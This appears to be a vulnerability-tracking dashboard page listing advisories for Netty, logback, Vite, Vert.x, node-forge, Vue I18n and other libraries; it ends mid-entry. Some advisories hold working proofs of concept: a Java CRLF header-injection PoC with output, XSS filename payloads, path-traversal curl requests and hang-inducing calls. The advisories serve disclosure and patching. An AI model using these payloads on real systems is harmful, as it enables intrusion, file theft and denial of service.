Search
Vulnerabilities 751–785 of 785, affecting the active versions
| Score | ID | Status | Published | Affected versions | Description | Notes |
|---|---|---|---|---|---|---|
| 2.9CVSS 4.0 | CVE-2025-58056
GHSA-fghv-69vj-qj49 |
Resolved | 2025-09-03 | 5.5 ×205.4 ×14 | Netty is an asynchronous event-driven network application framework for development of maintainable high performance protocol servers and clients. In versions 4.1.124.Final, and 4.2.0.Alpha3 through 4.2.4.Final, Netty incorrectly accepts standalone newline characters (LF) as a chunk-size line terminator, regardless of a preceding carriage return (CR), instead of requiring CRLF per HTTP/1.1 standards. When combined with reverse proxies that parse LF differently (treating it as part of the chunk extension), attackers can craft requests that the proxy sees as one request but Netty processes as two, enabling request smuggling attacks. This is fixed in versions 4.1.125.Final and 4.2.5.Final. | |
| 2.9CVSS 3.1 | CVE-2025-69873
GHSA-2g4f-4pwh-qvx6 |
Resolved | 2026-02-11 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ajv (Another JSON Schema Validator) before 8.18.0 is vulnerable to Regular Expression Denial of Service (ReDoS) when the $data option is enabled. The pattern keyword accepts runtime data via JSON Pointer syntax ($data reference), which is passed directly to the JavaScript RegExp() constructor without validation. An attacker can inject a malicious regex pattern (e.g., "^(a|a)*$") combined with crafted input to cause catastrophic backtracking. A 31-character payload causes approximately 44 seconds of CPU blocking, with each additional character doubling execution time. This enables complete denial of service with a single HTTP request against any API using ajv with $data: true for dynamic schema validation. This issue is also fixed in version 6.14.0. | |
| 2.9CVSS 4.0 | CVE-2026-10532
GHSA-jhq6-gfmj-v8fx |
Resolved | 2026-06-01 | 5.7 ×55.6 ×95.5 ×205.4 ×14 | Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection, albeit heavily restricted. More precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate Proxy objects. Although deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions. This issue affects logback: through 1.5.33 inclusive. | |
| 2.9CVSS 4.0 | CVE-2026-42578
GHSA-45q3-82m4-75jr |
Resolved | 2026-05-13 | 5.7 ×35.6 ×25.5 ×205.4 ×14 | Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final. | |
| 2.9CVSS 4.0 | CVE-2026-9828
GHSA-p47f-322f-whfh |
Resolved | 2026-05-28 | 5.7 ×55.6 ×95.5 ×205.4 ×14 | Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection albeit heavily restricted. More precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate objects from classes in the java.lang and java.util packages that are not explicitly blocked. Although deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions. This issue affects logback: through 1.5.32 inclusive. | |
| 2.9CVSS 4.0 | GHSA-45q3-82m4-75jr
CVE-2026-42578 |
Resolved | 2026-05-07 | 5.7 ×35.6 ×25.5 ×205.4 ×14 | # Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions) | | **Component** | `io.netty.handler.proxy.HttpProxyHandler` | | **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers | | **Impact** | HTTP Header Injection in CONNECT Proxy Requests | | **CVSS 3.1 Score** | **7.5 (High)** | | **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` | | **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) | ## 2. Affected Components - `io.netty.handler.proxy.HttpProxyHandler` — `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)` ## 3. Vulnerability Description Netty's `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server. ### Root Cause ```java // HttpProxyHandler.java:176-190 protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception { // ... HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory() .withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED FullHttpRequest req = new DefaultFullHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.CONNECT, url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory); req.headers().set(HttpHeaderNames.HOST, hostHeader); if (authorization != null) { req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization); } if (outboundHeaders != null) { req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION } return req; } ``` The `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code. ### Incomplete Fix of GHSA-84h7-rjj3-6jx4 **This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).** The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where: 1. The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed 2. User-provided `outboundHeaders` are added without any CRLF check 3. The resulting CONNECT request contains unvalidated headers on the wire This is not a new vulnerability class — it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path. ## 4. Exploitability Prerequisites This vulnerability is exploitable when: 1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders` 2. The application does not perform its own CRLF sanitization on header values **Common affected patterns**: - HTTP proxy clients that forward user-specified custom headers - Web scraping frameworks that allow users to set proxy headers - API gateways that pass user headers through a proxy tunnel ## 5. Attack Scenarios ### Scenario 1: Proxy Authentication Bypass ```java HttpHeaders headers = new DefaultHttpHeaders(false); headers.set("X-Forwarded-For", userInput); // userInput from attacker new HttpProxyHandler(proxyAddr, headers); ``` **Attack input**: `userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="` **Wire format**: ``` CONNECT target.com:443 HTTP/1.1 host: target.com:443 X-Forwarded-For: 1.2.3.4 Proxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED ``` The injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy. ### Scenario 2: Request Smuggling via Proxy **Attack input**: `userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"` Injects a full smuggled request through the proxy tunnel establishment. ## 6. Proof of Concept ### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.*; import java.nio.charset.StandardCharsets; public class HttpProxyHeaderInjectionPoC { public static void main(String[] args) { System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n"); // Simulate HttpProxyHandler.newInitialMessage() with validation=false HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory() .withValidation(false); FullHttpRequest req = new DefaultFullHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.CONNECT, "target.com:443", io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory); req.headers().set(HttpHeaderNames.HOST, "target.com:443"); // Inject CRLF in header value String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"; req.headers().set("X-Forwarded-For", malicious); // Encode to wire format EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder()); ch.writeOutbound(req); ByteBuf out = ch.readOutbound(); String encoded = out.toString(StandardCharsets.UTF_8); out.release(); ch.finishAndReleaseAll(); System.out.println("Wire format:"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); } System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true")); System.out.println("VULNERABLE: " + (encoded.contains("X-Admin: true") ? "YES" : "NO")); } } ``` ### PoC Execution Output (Verified on Netty 4.2.12.Final) ``` === Netty HttpProxyHandler Header Injection PoC === [TEST 1] outboundHeaders with CRLF (validation disabled) ---------------------------------------------------------- Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true" Header accepted: YES (validation disabled!) Wire format: CONNECT target.com:443 HTTP/1.1\r host: target.com:443\r X-Forwarded-For: 1.2.3.4\r X-Forwarded-For: 127.0.0.1\r <-- INJECTED X-Admin: true\r <-- INJECTED \r Injected X-Admin header in wire: true VULNERABLE: YES [TEST 2] validation=true vs validation=false comparison -------------------------------------------------------- With validation=true: SAFE: Rejected - IllegalArgumentException With validation=false: VULNERABLE: Accepted CRLF in header value! Stored value contains CRLF: true ``` ## 7. Remediation Recommendations ### Option 1: Remove withValidation(false) ```java // Change HttpProxyHandler.java line 176 from: HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false); // To: HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory(); ``` ### Option 2: Validate outboundHeaders Before Adding ```java if (outboundHeaders != null) { for (Map.Entry<String, String> entry : outboundHeaders) { HttpUtil.validateHeaderValue(entry.getValue()); } req.headers().add(outboundHeaders); } ``` ## 8. Resources - [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix — this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4) - [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html) | |
| 2.9CVSS 3.1 | GHSA-h6cr-wjv9-3cpp | In triage | 2026-10-30 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary `BigInteger.prototype.modInverse()` in node-forge's bundled jsbn library enters an infinite loop when the value or the modulus is negative, for example when a negative public exponent is passed to `forge.pki.rsa.generateKeyPair()`. This is an incomplete fix of CVE-2026-33891 (GHSA-5m6q-g25r-mvwx), which handled only a zero value. Fixed in node-forge 1.4.1. ### Details `bnModInverse()` (`lib/jsbn.js`, exposed as `forge.jsbn.BigInteger.prototype.modInverse`) implements the binary extended Euclidean algorithm (Handbook of Applied Cryptography, Algorithm 14.61), which is defined for positive integers. With a negative operand the loop cannot terminate: `rShiftTo` is an arithmetic shift, so a negative value never moves towards zero, and the loop's exit condition (`u` reaching zero) is never met. The calling thread spins at 100% CPU indefinitely; in Node.js this blocks the event loop. Memory does not grow. node-forge 1.4.0 fixed CVE-2026-33891 (GHSA-5m6q-g25r-mvwx) by returning zero early when `this.signum() == 0`, although its changelog describes the check as "<= 0". Negative values were not covered, and a negative modulus was never handled. Every negative input that did terminate already returned zero. Within node-forge, RSA key generation is the only path to a negative operand: the caller's public exponent `e` becomes `BigInteger.fromInt(e)`, and `state.e.modInverse(state.phi)` is called with it. `gcd()` works on absolute values, so the coprimality checks pass and the loop is reached. Any exponent other than 3 or 65537 uses the pure JavaScript implementation, even when `forge.options.usePureJavaScript` is not set. RFC 8017, Section 3.1 requires the RSA public exponent to be at least 3. Values that node-forge parses (DER, PEM, JWK, PKCS#12, X.509, TLS) are always read as unsigned integers and cannot produce a negative operand. The fix makes `modInverse()` return zero when the value or the modulus is zero or negative, as it already does when no inverse exists. Results for positive inputs are unchanged. This issue was reported by wzc. ### Patches Fixed in node-forge 1.4.1. `modInverse()` now returns zero when the value or the modulus is zero or negative. ### Workarounds - Pass only fixed, valid RSA public exponents (e.g. 65537) to key generation, or validate caller-supplied exponents first: an odd integer `>= 3`. - Do not call `BigInteger#modInverse()` with negative operands. Reduce the value modulo a positive modulus first (`x.mod(m).modInverse(m)`). ### Proof of concept A negative public exponent passed to RSA key generation never returns (also with the callback form and with `createKeyPairGenerationState()` / `stepKeyPairGenerationState()`): var forge = require('node-forge'); forge.pki.rsa.generateKeyPair({bits: 256, e: -1}); // hangs at 100% CPU Calling `modInverse()` directly with a negative value or modulus hangs the same way: var BigInteger = forge.jsbn.BigInteger; new BigInteger('-1').modInverse(new BigInteger('7')); // hangs new BigInteger('3').modInverse(new BigInteger('-7')); // hangs With the fix, these calls return zero. The regression tests are in `tests/unit/jsbn.js`. ### Impact Applications are affected only if they: - pass an untrusted value as the RSA public exponent `e` to `forge.pki.rsa.generateKeyPair()`, `forge.pki.rsa.createKeyPairGenerationState()` or `forge.pki.rsa.stepKeyPairGenerationState()`, or - call `forge.jsbn.BigInteger#modInverse()` directly with negative values derived from untrusted input. An attacker who can supply such a value makes the call hang indefinitely at 100% CPU, which blocks the Node.js event loop (denial of service). Keys and other data parsed by node-forge (DER, PEM, JWK, PKCS#12, X.509, TLS) cannot trigger this issue, and the documented usage of key generation passes a constant exponent (65537). There is no effect on confidentiality or integrity. | |
| 2.9CVSS 4.0 | GHSA-jhq6-gfmj-v8fx
CVE-2026-10532 |
Resolved | 2026-06-01 | 5.7 ×55.6 ×95.5 ×205.4 ×14 | Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection, albeit heavily restricted. More precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate Proxy objects. Although deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions. This issue affects logback: through 1.5.33 inclusive. | |
| 2.7CVSS 3.1 | CVE-2026-28378
|
Resolved | 2026-07-07 | 5.6 ×95.5 ×205.4 ×14 | The public dashboard deletion endpoint does not enforce organization isolation, allowing an Org Admin in one organization to delete public dashboards belonging to a different organization by supplying the target dashboard's identifiers. | |
| 2.4CVSS 4.0 | CVE-2024-12801
GHSA-6v67-2wr5-gvf4 |
Resolved | 2024-12-19 | 5.4 ×14 | Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 0.1 to 1.3.14 and 1.4.0 to 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML. The attacks involves the modification of DOCTYPE declaration in XML configuration files. | |
| 2.4CVSS 4.0 | GHSA-6v67-2wr5-gvf4
CVE-2024-12801 |
Resolved | 2024-12-19 | 5.4 ×14 | Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML. The attacks involves the modification of DOCTYPE declaration in XML configuration files. | |
| 2.3CVSS 4.0 | CVE-2025-11966
GHSA-45p5-v273-3qqr |
Not affected | 2025-10-22 | 5.4 ×11 | In Eclipse Vert.x versions [4.0.0, 4.5.21] and [5.0.0, 5.0.4], when "directory listing" is enabled, file and directory names are inserted into generated HTML without proper escaping in the href, title, and link attributes. An attacker who can create or rename files or directories within a served path can craft filenames containing malicious script or HTML content, leading to stored cross-site scripting (XSS) that executes in the context of users viewing the affected directory listing. | |
| 2.3CVSS 4.0 | CVE-2025-58751
GHSA-g4jq-h2w9-997c |
False positive | 2025-09-08 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, files starting with the same name with the public directory were served bypassing the `server.fs` settings. Only apps that explicitly expose the Vite dev server to the network (using --host or `server.host` config option), use the public directory feature (enabled by default), and have a symlink in the public directory are affected. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue. | |
| 2.3CVSS 4.0 | CVE-2025-58752
GHSA-jqfw-vq24-v9c3 |
False positive | 2025-09-08 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, any HTML files on the machine were served regardless of the `server.fs` settings. Only apps that explicitly expose the Vite dev server to the network (using --host or server.host config option) and use `appType: 'spa'` (default) or `appType: 'mpa'` are affected. This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue. | |
| 2.3CVSS 4.0 | GHSA-45p5-v273-3qqr
CVE-2025-11966 |
Not affected | 2025-10-22 | 5.4 ×11 | # Description - In the `StaticHandlerImpl#sendDirectoryListing(...)` method under the `text/html` branch, file and directory names are directly embedded into the `href`, `title`, and link text without proper HTML escaping. - As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS. - Affected Code: - File: `vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java` - Lines: - 709–713: `normalizedDir` is constructed without escaping - 714–731: `<li><a ...>` elements insert file names directly into attributes and body without escaping - 744: parent directory name construction - 746–751: `{directory}`, `{parent}`, and `{files}` are inserted into the HTML template without escaping # Reproduction Steps 1. Prerequisites: - Directory listing is enabled using `StaticHandler` (e.g., `StaticHandler.create("public").setDirectoryListing(true)`) - The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory) 2. Create a malicious file name (example for Unix-based OS): - Create an empty file in `public/` with one of the following names: - `<img src=x onerror=alert('XSS')>.txt` - Or attribute injection: `evil" onmouseover="alert('XSS')".txt` - Example: ```bash mkdir -p public printf 'test' > "public/<img src=x onerror=alert('XSS')>.txt" ``` 3. Start the server (example): - Routing: `router.route("/public/*").handler(StaticHandler.create("public").setDirectoryListing(true));` - Server: `vertx.createHttpServer().requestHandler(router).listen(8890);` 4. Verification request (raw HTTP): ``` GET /public/ HTTP/1.1 Host: 127.0.0.1:8890 Accept: text/html Connection: close ``` 5. Example response excerpt: ```html <ul id="files"> <li> <a href="/public/<img src=x onerror=alert('XSS')>.txt" title="<img src=x onerror=alert('XSS')>.txt"> <img src=x onerror=alert('XSS')>.txt </a> </li> ... </ul> ``` - When accessing `/public/` in a browser, the unescaped file name is interpreted as HTML, and event handlers such as `onerror` are executed. # Potential Impact - **Stored XSS** - Arbitrary JavaScript executes in the browser context of users viewing the listing page - Possible consequences: - Theft of session tokens, JWTs, localStorage contents, or CSRF tokens - Unauthorized actions with admin privileges (user creation, permission changes, settings modifications) - Watering hole attacks, including malware distribution or malicious script injection to other pages - **Common Conditions That Make Exploitation Easier** - Uploaded files are served directly under a publicly accessible directory - Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed - ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments # Similar CVEs Previously Reported - CVE‑2024‑32966 - CVE‑2019‑15603 | |
| 2.3CVSS 4.0 | GHSA-g4jq-h2w9-997c
CVE-2025-58751 |
False positive | 2025-09-09 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary Files starting with the same name with the public directory were served bypassing the `server.fs` settings. ### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using --host or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - uses [the public directory feature](https://vite.dev/guide/assets.html#the-public-directory) (enabled by default) - a symlink exists in the public directory ### Details The [servePublicMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L79) function is in charge of serving public files from the server. It returns the [viteServePublicMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L106) function which runs the needed tests and serves the page. The viteServePublicMiddleware function [checks if the publicFiles variable is defined](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L111), and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. [publicFiles may be undefined if there is a symbolic link anywhere inside the public directory](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/publicDir.ts#L21). In that case, every requested page will be passed to the public serving function. The serving function is based on the [sirv](https://github.com/lukeed/sirv) library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware [disables this functionality](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L89) since public pages are meant to be available always, regardless of whether they are in the allow or deny list. In the case of public pages, the serving function is [provided with the path to the public directory](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L85) as a root directory. The code of the sirv library [uses the join function to get the full path to the requested file](https://github.com/lukeed/sirv/blob/d061616827dd32d53b61ec9530c9445c8f592620/packages/sirv/index.mjs#L42). For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will [use the string's startsWith function](https://github.com/lukeed/sirv/blob/d061616827dd32d53b61ec9530c9445c8f592620/packages/sirv/index.mjs#L43) to determine whether the created path is within the given directory or not. Only if it is, it will be served. Since [sirv trims the trailing slash of the public directory](https://github.com/lukeed/sirv/blob/d061616827dd32d53b61ec9530c9445c8f592620/packages/sirv/index.mjs#L119), the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that). ### PoC Execute the following shell commands: ``` npm create vite@latest cd vite-project/ mkdir p cd p ln -s a b cd .. echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js echo "secret" > private.txt npm install npm run dev ``` Then, in a different shell, run the following command: `curl -v --path-as-is 'http://localhost:5173/private.txt'` You will receive a 403 HTTP Response, because private.txt is denied. Now in the same shell run the following command: `curl -v --path-as-is 'http://localhost:5173/../private.txt'` You will receive the contents of private.txt. ### Related links - https://github.com/lukeed/sirv/commit/f0113f3f8266328d804ee808f763a3c11f8997eb | |
| 2.3CVSS 4.0 | GHSA-jqfw-vq24-v9c3
CVE-2025-58752 |
False positive | 2025-09-09 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary Any HTML files on the machine were served regardless of the `server.fs` settings. ### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) - `appType: 'spa'` (default) or `appType: 'mpa'` is used This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served. ### Details The [serveStaticMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L123) function is in charge of serving static files from the server. It returns the [viteServeStaticMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L136) function which runs the needed tests and serves the page. The viteServeStaticMiddleware function [checks if the extension of the requested file is ".html"](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L144). If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case [htmlFallbackMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/htmlFallback.ts#L14), and then to [indexHtmlMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/indexHtml.ts#L438). These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client. ### PoC Execute the following shell commands: ``` npm create vite@latest cd vite-project/ echo "secret" > /tmp/secret.html npm install npm run dev ``` Then, in a different shell, run the following command: `curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'` The contents of /tmp/secret.html will be returned. This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell: ``` echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})' > [vite.config.js](http://vite.config.js) mkdir secret_files echo "secret txt" > secret_files/secret.txt echo "secret html" > secret_files/secret.html npm run dev ``` Then, in a different shell, run the following command: `curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'` You will receive a 403 HTTP Response, because everything in the secret_files directory is denied. Now in the same shell run the following command: `curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'` You will receive the contents of secret_files/secret.html. | |
| 2.1CVSS 4.0 | CVE-2026-112945
GHSA-9jrq-w75r-8gcw |
In triage | 2026-10-20 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3. | |
| 2.1CVSS 4.0 | CVE-2026-115897
GHSA-m5mm-p8h7-m29v |
Resolved | 2026-10-23 | 5.6 ×95.5 ×205.4 ×14 | Serialize JavaScript serializes JavaScript values to a superset of JSON that includes regular expressions and functions. Prior to 7.1.3, the function-source escaping logic does not neutralize a bare closing-script prefix when attacker-influenced function source text ends exactly at that prefix. Because each function body is escaped independently, a delimiter supplied by surrounding serialized output can terminate an HTML script element, and a later serialized value supplies injected markup that becomes a live element in the page. Exploitation requires control of a serialized function's source text, such as through a spoofed toString(). This issue is fixed in version 7.1.3. | |
| 2.1CVSS 4.0 | CVE-2026-118256
GHSA-8rc2-428q-7ww3 |
In triage | 2026-10-28 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Vue I18n is the internationalization plugin for Vue.js. From 9.0.0-beta.5 until 11.4.14 and 12.0.0-alpha.5, enabling escapeParameter, called escapeParameterHtml in the Legacy API, does not escape named interpolation values when the same translation call supplies both list and named values because escapeParams() processes only the list branch. Applications that render translations as HTML and pass untrusted named values with a list can insert attacker-controlled markup, including phishing links, forms, and layout changes, and can permit script execution when combined with the srcdoc sanitizer bypass or on releases without the sanitizer. This issue is fixed in versions 11.4.14 and 12.0.0-alpha.5. | |
| 2.1CVSS 4.0 | CVE-2026-9358
GHSA-w9m9-85wc-3x92 |
Not affected | 2026-05-24 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | A vulnerability was determined in postcss-selector-parser up to 6.1.2/7.1.2. Affected is the function toString of the file src/selectors/container.js of the component AST Serialization. Executing a manipulation can lead to uncontrolled recursion. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version 6.1.3 and 7.1.3 is able to address this issue. This patch is called 5bc698cef66f8abd12610dc623e5d67cbc0f869d. It is suggested to upgrade the affected component. The vendor explains, that according to his definition "DoS on server-side on user-generated CSS is low risk for us (since most users compile own CSS with PostCSS)." The commits were backported to 6.x branch, which was the most downloaded version. | |
| 2.1CVSS 4.0 | GHSA-8rc2-428q-7ww3
CVE-2026-118256 |
In triage | 2026-10-28 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary When `escapeParameter` is enabled (`escapeParameterHtml` in the Legacy API), Vue I18n escapes the interpolation parameters before formatting a message. `escapeParams()` escapes either the list values or the named values, but not both: the two branches are joined by `else`. When a single call passes both, for example `t(key, ['...'], { named: { ... } })`, the named values reach the message without being escaped. ### Details `escapeParams()` in [`packages/core-base/src/translate.ts` (v11.4.13)](https://github.com/intlify/vue-i18n/blob/v11.4.13/packages/core-base/src/translate.ts): ```ts function escapeParams(options: TranslateOptions) { if (isArray(options.list)) { options.list = options.list.map(item => (isString(item) ? escapeHtml(item) : item)) } else if (isObject(options.named)) { // ...escapes the named values } } ``` `t(key, list, options)` is a public overload, and `TranslateOptions` has a `named` field, so a call can carry both. The list is checked first, and the named values are then left as they are. The translated string still goes through `sanitizeTranslatedHtml()` (added for CVE-2025-53892), which neutralizes event handler attributes and `javascript:` URLs. Other markup in the named values, such as links and forms, is inserted as is. Before the fix for GHSA-83rm-6c8r-g728, an `<iframe srcdoc>` in a named value also passes the sanitizer, and script runs. Versions without the sanitizer (before 9.14.5, 10.0.8 and 11.1.10, and 12.0.0-alpha.1 to alpha.3) insert the named values as HTML without any further check. `<i18n-t>` is not affected: 